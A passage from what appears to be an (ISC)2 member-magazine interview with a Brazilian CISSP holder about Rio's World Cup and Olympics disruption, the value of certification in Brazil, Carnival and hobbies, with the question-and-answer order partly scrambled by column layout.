streets are filled with heavy vehicles
and machinery.
As a commuter, my typical trip
from home to work went from less
than 40 minutes to more than an hour.
How has the recent World Cup and
upcoming Olympics changed the
city and the region?

The interventions I mentioned have
turned the city´s already complicated
traffic situation into a chaotic one. I
do think most of the citizens understand that this is a temporary burden,
and the projected improvements
to the city’s infrastructure are well
worth the hassle.

The official estimate is that Brazil
received around 1 million international tourists during the World Cup,
which had venues in 12 different
states during a more-than-monthlong period. The city of Rio de
Janeiro alone is expected to receive
something between 300,000 and
500,000 international tourists during
the two weeks of the Olympic Games
(this does not even take into account
the Paralympic Games). This, of
course, means a lot of income for the
local economy, and it has stimulated
investments in the airports, hotel
chains, public areas, etc.

few years ago that brewing your own
beer, although demanding work, is
a pleasant and rewarding hobby that
involves a lot of research, experimenting and community interaction.

How important is your (ISC)2
credential to your career?

I’ve heard Mardi Gras also is big
in Rio. What’s it like to be working
in security when that time of year
comes around?

In Brazil, the CISSP credential bears
a lot more weight than in the United
States. I believe this is because the
number of certified professionals is
much smaller here than in the U.S.
There were even fewer CISSPs in
Brazil back in 2008 when I earned
my certification. I used to say that
being a CISSP does not change who
you are as a professional, but it surely
does give you an advantage when an
employer is comparing your resume
to someone that is not certified.

Ahhhhh, Carnival!!! I could mention
impressive numbers, like 2.3 million
people on the first day of one of the
street festivals alone. But that would
not do justice to the five-day event
that practically halts all the nation’s
activity. It is said to be the largest
popular celebration in the world, and
the word “unspeakable” is often and
very accurately used to describe it.
Of course, it is a thriving period for
phishing and general scams involving
the theme. ●

What do you do to reduce stress
from work?

I like to travel with my family as
often as possible. We especially love
going to the beach. I also learned a

An expanded version of this interview
will appear in the February issue of
Insights, a companion e-newsletter
for the (ISC)2 membership.
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